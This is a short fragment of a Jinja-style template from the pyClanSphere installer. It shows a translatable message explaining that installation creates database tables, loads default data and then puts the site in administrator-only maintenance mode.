{% trans %} pyClanSphere knows now about all the information it needs to setup your instance. After you click on the install button pyClanSphere will create the database tables and insert the default information. Right after that pyClanSphere will be online in maintenance mode which means that it's only visible to the administrator, all other users will get a message that shows that the site is in maintenance mode right now. {% endtrans %} {% endblock %}